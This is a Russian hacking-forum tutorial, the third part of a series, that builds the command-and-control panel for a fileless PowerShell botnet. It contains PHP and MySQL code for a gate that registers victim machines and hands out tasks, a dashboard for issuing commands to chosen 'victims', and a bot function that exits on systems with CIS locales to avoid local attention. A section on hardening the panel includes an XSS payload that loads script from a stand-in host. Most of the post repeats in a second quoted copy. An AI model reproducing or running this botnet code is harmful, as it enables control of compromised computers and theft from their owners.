• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создание админ панели ботнета. Fileless бот на PS. Часть III.

V1rtualGh0st

(L3) cache
Пользователь
Регистрация
08.12.2018
Сообщения
228
Реакции
485
Гарант сделки
19
Депозит
0.00
Категорически приветствую, XSS'овцы, спустя две недели продолжаю пилотный цикл статей по созданию безфайлового бота на повершелле. В прошлых статьях для получения команд мы использовали XML-подобные конструкции хранящиеся в текстовике на диске. В этой части мы напишем хоть простую, но всё же полноценную админ панель для нашего бота.
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться. ;)

Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и региональные параметры, установленные в операционной системе используя функцию Get-Culture а после циклом проверим код стран и язык системы, и если обнаружится снг код, то просто выйдем. Сама функция выглядит так:
PHP:
function anti-cis(){
    $culture = (Get-Culture).Name

    $cis = @('az', 'am', 'by', 'ge', 'kz', 'kg', 'md', 'ru', 'tj', 'tm', 'uz', 'ua')

    foreach($code in $cis){
        if($culture.Contains($code)){
            Write-Host "CIS DETECTED"
            exit
        }
    }   
}

Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию винды и её разрядность. Далее отправим гет запрос с этими данными на гейт. Этим же запросом получаем JSON инструкции задач, обработаем все JSON-инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
1608477199300.png

(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если это СНГ машина)
Можем перейти к главному.

Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin-Template прямиком с гитхаба
1608477380956.png


Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код добавим простую функцию writeCardImage которая принимает аргументы $desc (описание), $count (число), $colmd (число, по дефолту 3), эта функция будет создавать новый блок такого вида:
1608477498244.png

В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий данные для подключения к базе данных, а так же данные для входа в панель (юзернейм и пароль в MD5):
PHP:
<?php
    
    $config = array("db_host" => "localhost",
                    "db_user" => "root",
                    "db_pass" => "",
                    "db_name" => "powerbot", // DB NAME
                    "usrname" => "admin", // Admin Login
                    "usrpass" => "21232f297a57a5a743894a0e4a801fc3"); // Hashed pass
    
 ?>

Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.

Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём новую таблицу с именем bots, которая содержит 7 полей. Тип каждого varchar, сравнение utf8_general_ci. В первом поле создадим GUID компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными целями), длина значения 32. Стоит упомянуть, что все поля будут содержать минимально возможное количество символов, об этом будет чуть позже. Следующие поле username, содержащие имя текущего пользователя, 30 символов. Третье поле os содержит версию Windows и её разрядность, 18 символов. Следом поле ip, 15 символов. Пятое поле firstOnline - дата первого запуска бота в формате число.месяц.год час.минута.секунда, 21 символ. Похожее поле lastOnline, но уже дата последнего выхода бота в сеть, так-же 21 символ. И последнее поле в этой таблице - lastExTask, имя последнего выполненного задания, 20 символов.
1608478564919.png


Таски.
Вторая таблица - tasks содержит 6 полей: taskName (имя задания, varchar, 20 символов), currentEx (текущие количество ПК, выполнивших таск, int, 255), maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255), targetVictims (содержит guid(ы) целевых машин или тег ALL, для всех ботов, varchar, 32), command (команда в формате XML, text, без ограничений по символам), последнее поле taskStatus (статус задачи, 1 - если задача выполнена, 0 - в противоположном случае, int, 1)
1608478636024.png


С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?

Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.

При работе с базами данных в PHP, у нас есть два варианта для подключения к бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle, MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL. +1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi помимо этого имеет процедурный API, который упрощает понимание синтаксиса (гораздо легче даётся новичкам). +1 Mysqli.

Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у кодера руки растут с нужного места, конечно. Но что использовать безопасней? У mysqli есть mysqli_real_escape_string(), который экранирует входящую строку, но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В пдо всё немного попроще, имеется метод PDO::quote(), который помимо экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим пример обработки строки у обоих библиотек.
Входящая строка: " '; DELETE FROM users; /* ".
Результат mysqli, после обработки: \'; DELETE FROM users; /*
PDO: '\'; DELETE FROM users; /*'

Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12 типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой статье работать мы будем с PDO.

Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для получения инструкций (статус которых равен нулю(незавершенны)), проходимся по каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:
PHP:
    require 'app/config.php';
    $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']); // PDO Connect

    $resp = $connect->query("SELECT `taskName`, `targetVictims`, `command` FROM `tasks` WHERE `taskStatus` = '0'"); // Get tasks
    $rows = $resp->fetchAll(PDO::FETCH_ASSOC);
    $pageContent = "";

    foreach($rows as $row) {
        $row['command'] = htmlspecialchars($row['command'], ENT_QUOTES); // format command string
        $pageContent .= json_encode($row); // encode to json
    }

    echo $pageContent;

Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные $exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК, $userIP - IP адресс, откуда поступил запрос, $task - имя выполненного таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то обновляем время последнего онлайна и IP (на случай, если у жертвы динамический айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую запись с его данными. Код:
PHP:
    if ($_SERVER['REQUEST_METHOD'] == "GET") {
        $exTime   = date("d.m.Y H:i:s"); // time
        $guid = $connect->quote($_GET["guid"]);
        $userIP   = $connect->quote($_SERVER["SERVER_ADDR"]); // ip
        $task = $connect->quote($_GET["taskName"]);
        $status = $_GET["status"];

        if(isset($guid)){ // if guid != nulled value
            $resp = $connect->query("SELECT * FROM `bots` WHERE `guid` = $guid");
            if($resp->fetch(PDO::FETCH_ASSOC) != 0){ // if user exists
                //echo "user already exists";
                $connect->query("UPDATE `bots` SET `lastOnline` = '$exTime' WHERE `guid` = $guid"); //update last online
                $connect->query("UPDATE `bots` SET `ip` = $userIP WHERE `guid` = $guid");
            }

            else{
                //echo "new bot";
                $userName = $connect->quote($_GET["username"]);
                $osName   = $connect->quote($_GET["os"]);
                //add new bot
                $connect->query("INSERT INTO `bots` (`guid`, `username`, `os`, `ip`, `firstOnline`, `lastOnline`) VALUES ($guid, $userName, $osName, $userIP, '$exTime', '$exTime')");
            }
        }

После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:
PHP:
if(isset($task) and isset($status) and isset($guid)){
            $taskInfo = $connect->query("SELECT * FROM `tasks` WHERE `taskName` = $task")->fetch(PDO::FETCH_ASSOC);

            $taskName = $taskInfo["taskName"];
            $crCounts = intval($taskInfo["currentEx"]);
            $maxExCnt = intval($taskInfo["maxExCount"]);
            $taskStatus = intval($taskInfo["taskStatus"]);

            if ($status == "success") {
                $connect->query("UPDATE `bots` SET `lastExTask` = $task WHERE `guid` = $guid");

                if($crCounts == $maxExCnt){
                    if($taskStatus = 0) $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                }

                else{
                    $crCounts++;
                    $connect->query("UPDATE `tasks` SET `currentEx` = '$crCounts' WHERE `taskName` = $task");

                    if($crCounts == $maxExCnt){
                        $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                    }
                }
            }           
        }


С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг, так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы, сохраняем их в отдельные переменные:
PHP:
require 'app/config.php';
   $adminName = $config["usrname"];
   require 'header.php'; 
   require 'sidebar.php';

    $connect = $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']);

    $bots  = $connect->query("SELECT * FROM `bots`");
    $tasks = $connect->query("SELECT * FROM `tasks`");

Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:
PHP:
    if(isset($_POST["taskName"])){
        // formatting strings
        $taskName = $connect->quote($_POST["taskName"]);
        $maxEx    = $connect->quote($_POST["maxEx"]);
        $Victims  = $connect->quote($_POST["targetVictims"]);
        $command  = $connect->quote($_POST["command"]);
        //req to db
        $connect->query("INSERT INTO `tasks` (`taskName`, `maxExCount`, `targetVictims`, `command`) VALUES ($taskName, $maxEx, $Victims, $command)");
        //refresh page
        echo "<script>location.replace('dashboard.php')</script>";
    }

Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:
PHP:
    if(isset($_GET["delete_taskname"])){
        $taskToDelete = $connect->quote($_GET["delete_taskname"]);

        $connect->query("DELETE FROM `tasks` WHERE `taskName` = $taskToDelete");
        echo "<script>location.replace('dashboard.php')</script>";
    }

   if(isset($_GET["action"])){
      $action = $_GET["action"];
      if($action == "logout"){
         session_destroy();
         echo "<script>location.replace('login.php')</script>";
      }
   }

В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:
Код:
    <?
            $allBots = $bots->rowCount();
            writeCardImage('Total Bots', $allBots, 4);  // All Bots
            
            $date = date("d.m.Y");
            $time = date("H:i");
            $onlineBots = 0;
            $lastOnline = $connect->query("SELECT `guid`, `lastOnline` FROM `bots`");
            
            while ($bot = $lastOnline->fetch(PDO::FETCH_ASSOC)) {
                if(strContains($bot["lastOnline"], $date)){
                    $botTime = explode(" ", $bot["lastOnline"]);
                    $last = explode(":", $botTime[1]);
                    $lastTime = $last[0].":".$last[1];
                    
                    if($lastTime == $time || $last[0].":".($last[1] + 1) == $time){
                    $onlineBots++;
                    }
                }
            }
            
            writeCardImage('Online Bots', $onlineBots, 4);
            writeCardImage('Offline Bots', $allBots - $onlineBots, 4);
    ?>

1608480780849.png


Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.



Защита от XSS.

На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения символов хранимых в таблице. На этапе создания таблицы bots для каждого столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в username.

Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида <script src="http://site.tk/s.js"> или <script>alert("xss!");</script>, которые сохраняться в бд, и после того, как мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов, поэтому вредоносный код выполнен не будет.

Предотврощаем XSS при помощи HTML Purifier.
Фильтрация данных, выводимых на страницу является самой важной частью защиты от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк использует функции htmlspecialchars() и/или strip_tags() с вайт листом доступных символов. Так же можно использовать связку нескольких функций, обрабатывая каждую строку, пример:
PHP:
function checkParam($param)
{
  $formatted = $param;
  $formatted = trim($formatted);
  $formatted = stripslashes($formatted);
  $formatted = htmlspecialchars($formatted);
  return $formatted;
}

Но в нашей панели мы будем использовать более продвинутое решение - библиотеку HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов. Минусом является то, что мы сами должны определить, какие атрибуты будут недопустимы. По умолчанию библиотека также не содержит всех «стандартных атрибутов», таких как contenteditable, поэтому нам также необходимо их добавить самостоятельно.

Рассмотрим всё на примере:
Исходный код:
HTML:
<p invalidAttribute="value">Test String <strike>strike</strike>:</p>
        <script type="text/javascript">alert("xss.pro");</script>
После обработки:
HTML:
<p>Test String <span style="text-decoration:line-through;">strike</span>:</p>

Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели. Распакуем архив с библиотекой в папку app:
1608481852029.png


В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:
PHP:
require 'HTMLPurifier.auto.php';
    $HTMLPconfig = HTMLPurifier_Config::createDefault();
    $HTMLPconfig->set('Attr.AllowedClasses',array('header'));
    $HTMLPconfig->set('AutoFormat.AutoParagraph',true);
    $HTMLPconfig->set('AutoFormat.RemoveEmpty',true);
    $HTMLPconfig->set('HTML.Doctype','HTML 4.01 Strict');
    $purifier = new HTMLPurifier($HTMLPconfig);

Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.

Для вывода информации мы будем использовать таблицу, а так-же воспользуемся интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент, построенный на основе прогрессивного улучшения, который добавляет следующие функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых столбцов, мгновенный поиск (фильтр по тексту).

Создадим таблицу, которая выводит данные о ботах:
PHP:
<div class="row">
            <div class="col-md-12">
               <!-- Advanced Tables -->
               <div class="card">
                  <div class="card-action">
                     Bots List
                  </div>
                  <div class="card-content">
                     <div class="table-responsive">
                        <table class="table table-striped table-bordered table-hover" id="dataTables-example">
                           <thead>
                              <tr>
                                 <th>GUID</th>
                                 <th>Username \ IP</th>
                                 <th>OS</th>
                                 <th>Last Online</th>
                                 <th>Last Task</th>
                              </tr>
                           </thead>
                           <tbody>
                              <?
                                 while ($bot = $bots->fetch(PDO::FETCH_ASSOC)) {
                                     echo "<tr>
                                             <td>".$purifier->purify($bot["guid"])."</td>
                                             <td class='center'>".$purifier->purify($bot["username"]." \ ".$bot["ip"])."</td>
                                             <td>".$purifier->purify($bot["os"])."</td>
                                             <td>".$purifier->purify($bot["lastOnline"])."</td>
                                             <td>".$purifier->purify($bot["lastExTask"])."</td>
                                           </tr>";
                                 }
                                 ?>
                           </tbody>
                        </table>
                     </div>
                  </div>
               </div>
               <!--End Advanced Tables -->
            </div>
         </div>

Теперь панель выглядит примерно так:
1608482649506.png


Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
1608482950300.png


Для добавления нового задания используется Modal Form:
1608483016925.png


На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:
HTML:
<?php

    session_start();

    if(isset($_POST["user"]) && isset($_POST["pass"])){
        require 'app/config.php';

        $user = $_POST["user"];
        $pass = $_POST["pass"];

        if($user == $config["usrname"] && MD5($pass) == $config["usrpass"]){
            $_SESSION["auth"] = true;
            echo "<script>location.replace('dashboard.php');</script>";
        }
    }

    if($_SESSION["auth"] == true){
        echo "<script>location.replace('dashboard.php');</script>";
    }
 ?>

 <!DOCTYPE html>
 <html>
 <head>
     <title>PowerBot | Login</title>
     <meta charset="utf-8" />
 </head>
 <body>
     <form action="login.php" method="POST">
     <label>Login: </label>
     <input type="text" name="user">
     <br>
     <label>Passw: </label>
     <input type="password" name="pass">
     <br>
     <button type="submit">Sign-in</button>
     </form>
 </body>
 </html>

В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.


Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей. Возможно функционал панели немного скудноват, можно было добавить пару чартов с статистикой по ботам, или другие фичи, но конкретно эта панель являеться лишь примером. Все файлы прикреплены к посту, пароль местный.

(c) V1rtualGh0st специально для xss.pro <3.

Первая часть - https://xss.pro/threads/37391
Вторая часть - https://xss.pro/threads/45238/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Категорически приветствую, XSS'овцы, спустя две недели продолжаю пилотный цикл статей по созданию безфайлового бота на повершелле. В прошлых статьях для получения команд мы использовали XML-подобные конструкции хранящиеся в текстовике на диске. В этой части мы напишем хоть простую, но всё же полноценную админ панель для нашего бота.
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться. ;)

Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и региональные параметры, установленные в операционной системе используя функцию Get-Culture а после циклом проверим код стран и язык системы, и если обнаружится снг код, то просто выйдем. Сама функция выглядит так:
PHP:
function anti-cis(){
    $culture = (Get-Culture).Name

    $cis = @('az', 'am', 'by', 'ge', 'kz', 'kg', 'md', 'ru', 'tj', 'tm', 'uz', 'ua')

    foreach($code in $cis){
        if($culture.Contains($code)){
            Write-Host "CIS DETECTED"
            exit
        }
    }  
}

Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию винды и её разрядность. Далее отправим гет запрос с этими данными на гейт. Этим же запросом получаем JSON инструкции задач, обработаем все JSON-инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
Посмотреть вложение 18241
(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если это СНГ машина)
Можем перейти к главному.

Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin-Template прямиком с гитхаба
Посмотреть вложение 18242

Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код добавим простую функцию writeCardImage которая принимает аргументы $desc (описание), $count (число), $colmd (число, по дефолту 3), эта функция будет создавать новый блок такого вида:
Посмотреть вложение 18243
В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий данные для подключения к базе данных, а так же данные для входа в панель (юзернейм и пароль в MD5):
PHP:
<?php
   
    $config = array("db_host" => "localhost",
                    "db_user" => "root",
                    "db_pass" => "",
                    "db_name" => "powerbot", // DB NAME
                    "usrname" => "admin", // Admin Login
                    "usrpass" => "21232f297a57a5a743894a0e4a801fc3"); // Hashed pass
   
?>

Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.

Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём новую таблицу с именем bots, которая содержит 7 полей. Тип каждого varchar, сравнение utf8_general_ci. В первом поле создадим GUID компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными целями), длина значения 32. Стоит упомянуть, что все поля будут содержать минимально возможное количество символов, об этом будет чуть позже. Следующие поле username, содержащие имя текущего пользователя, 30 символов. Третье поле os содержит версию Windows и её разрядность, 18 символов. Следом поле ip, 15 символов. Пятое поле firstOnline - дата первого запуска бота в формате число.месяц.год час.минута.секунда, 21 символ. Похожее поле lastOnline, но уже дата последнего выхода бота в сеть, так-же 21 символ. И последнее поле в этой таблице - lastExTask, имя последнего выполненного задания, 20 символов.
Посмотреть вложение 18244

Таски.
Вторая таблица - tasks содержит 6 полей: taskName (имя задания, varchar, 20 символов), currentEx (текущие количество ПК, выполнивших таск, int, 255), maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255), targetVictims (содержит guid(ы) целевых машин или тег ALL, для всех ботов, varchar, 32), command (команда в формате XML, text, без ограничений по символам), последнее поле taskStatus (статус задачи, 1 - если задача выполнена, 0 - в противоположном случае, int, 1)
Посмотреть вложение 18245

С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?

Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.

При работе с базами данных в PHP, у нас есть два варианта для подключения к бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle, MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL. +1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi помимо этого имеет процедурный API, который упрощает понимание синтаксиса (гораздо легче даётся новичкам). +1 Mysqli.

Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у кодера руки растут с нужного места, конечно. Но что использовать безопасней? У mysqli есть mysqli_real_escape_string(), который экранирует входящую строку, но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В пдо всё немного попроще, имеется метод PDO::quote(), который помимо экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим пример обработки строки у обоих библиотек.
Входящая строка: " '; DELETE FROM users; /* ".
Результат mysqli, после обработки: \'; DELETE FROM users; /*
PDO: '\'; DELETE FROM users; /*'

Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12 типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой статье работать мы будем с PDO.

Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для получения инструкций (статус которых равен нулю(незавершенны)), проходимся по каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:
PHP:
    require 'app/config.php';
    $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']); // PDO Connect

    $resp = $connect->query("SELECT `taskName`, `targetVictims`, `command` FROM `tasks` WHERE `taskStatus` = '0'"); // Get tasks
    $rows = $resp->fetchAll(PDO::FETCH_ASSOC);
    $pageContent = "";

    foreach($rows as $row) {
        $row['command'] = htmlspecialchars($row['command'], ENT_QUOTES); // format command string
        $pageContent .= json_encode($row); // encode to json
    }

    echo $pageContent;

Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные $exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК, $userIP - IP адресс, откуда поступил запрос, $task - имя выполненного таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то обновляем время последнего онлайна и IP (на случай, если у жертвы динамический айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую запись с его данными. Код:
PHP:
    if ($_SERVER['REQUEST_METHOD'] == "GET") {
        $exTime   = date("d.m.Y H:i:s"); // time
        $guid = $connect->quote($_GET["guid"]);
        $userIP   = $connect->quote($_SERVER["SERVER_ADDR"]); // ip
        $task = $connect->quote($_GET["taskName"]);
        $status = $_GET["status"];

        if(isset($guid)){ // if guid != nulled value
            $resp = $connect->query("SELECT * FROM `bots` WHERE `guid` = $guid");
            if($resp->fetch(PDO::FETCH_ASSOC) != 0){ // if user exists
                //echo "user already exists";
                $connect->query("UPDATE `bots` SET `lastOnline` = '$exTime' WHERE `guid` = $guid"); //update last online
                $connect->query("UPDATE `bots` SET `ip` = $userIP WHERE `guid` = $guid");
            }

            else{
                //echo "new bot";
                $userName = $connect->quote($_GET["username"]);
                $osName   = $connect->quote($_GET["os"]);
                //add new bot
                $connect->query("INSERT INTO `bots` (`guid`, `username`, `os`, `ip`, `firstOnline`, `lastOnline`) VALUES ($guid, $userName, $osName, $userIP, '$exTime', '$exTime')");
            }
        }

После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:
PHP:
if(isset($task) and isset($status) and isset($guid)){
            $taskInfo = $connect->query("SELECT * FROM `tasks` WHERE `taskName` = $task")->fetch(PDO::FETCH_ASSOC);

            $taskName = $taskInfo["taskName"];
            $crCounts = intval($taskInfo["currentEx"]);
            $maxExCnt = intval($taskInfo["maxExCount"]);
            $taskStatus = intval($taskInfo["taskStatus"]);

            if ($status == "success") {
                $connect->query("UPDATE `bots` SET `lastExTask` = $task WHERE `guid` = $guid");

                if($crCounts == $maxExCnt){
                    if($taskStatus = 0) $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                }

                else{
                    $crCounts++;
                    $connect->query("UPDATE `tasks` SET `currentEx` = '$crCounts' WHERE `taskName` = $task");

                    if($crCounts == $maxExCnt){
                        $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                    }
                }
            }          
        }


С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг, так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы, сохраняем их в отдельные переменные:
PHP:
require 'app/config.php';
   $adminName = $config["usrname"];
   require 'header.php';
   require 'sidebar.php';

    $connect = $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']);

    $bots  = $connect->query("SELECT * FROM `bots`");
    $tasks = $connect->query("SELECT * FROM `tasks`");

Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:
PHP:
    if(isset($_POST["taskName"])){
        // formatting strings
        $taskName = $connect->quote($_POST["taskName"]);
        $maxEx    = $connect->quote($_POST["maxEx"]);
        $Victims  = $connect->quote($_POST["targetVictims"]);
        $command  = $connect->quote($_POST["command"]);
        //req to db
        $connect->query("INSERT INTO `tasks` (`taskName`, `maxExCount`, `targetVictims`, `command`) VALUES ($taskName, $maxEx, $Victims, $command)");
        //refresh page
        echo "<script>location.replace('dashboard.php')</script>";
    }

Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:
PHP:
    if(isset($_GET["delete_taskname"])){
        $taskToDelete = $connect->quote($_GET["delete_taskname"]);

        $connect->query("DELETE FROM `tasks` WHERE `taskName` = $taskToDelete");
        echo "<script>location.replace('dashboard.php')</script>";
    }

   if(isset($_GET["action"])){
      $action = $_GET["action"];
      if($action == "logout"){
         session_destroy();
         echo "<script>location.replace('login.php')</script>";
      }
   }

В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:
Код:
    <?
            $allBots = $bots->rowCount();
            writeCardImage('Total Bots', $allBots, 4);  // All Bots
           
            $date = date("d.m.Y");
            $time = date("H:i");
            $onlineBots = 0;
            $lastOnline = $connect->query("SELECT `guid`, `lastOnline` FROM `bots`");
           
            while ($bot = $lastOnline->fetch(PDO::FETCH_ASSOC)) {
                if(strContains($bot["lastOnline"], $date)){
                    $botTime = explode(" ", $bot["lastOnline"]);
                    $last = explode(":", $botTime[1]);
                    $lastTime = $last[0].":".$last[1];
                   
                    if($lastTime == $time || $last[0].":".($last[1] + 1) == $time){
                    $onlineBots++;
                    }
                }
            }
           
            writeCardImage('Online Bots', $onlineBots, 4);
            writeCardImage('Offline Bots', $allBots - $onlineBots, 4);
    ?>

Посмотреть вложение 18246

Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.



Защита от XSS.

На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения символов хранимых в таблице. На этапе создания таблицы bots для каждого столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в username.

Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида <script src="http://site.tk/s.js"> или <script>alert("xss!");</script>, которые сохраняться в бд, и после того, как мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов, поэтому вредоносный код выполнен не будет.

Предотврощаем XSS при помощи HTML Purifier.
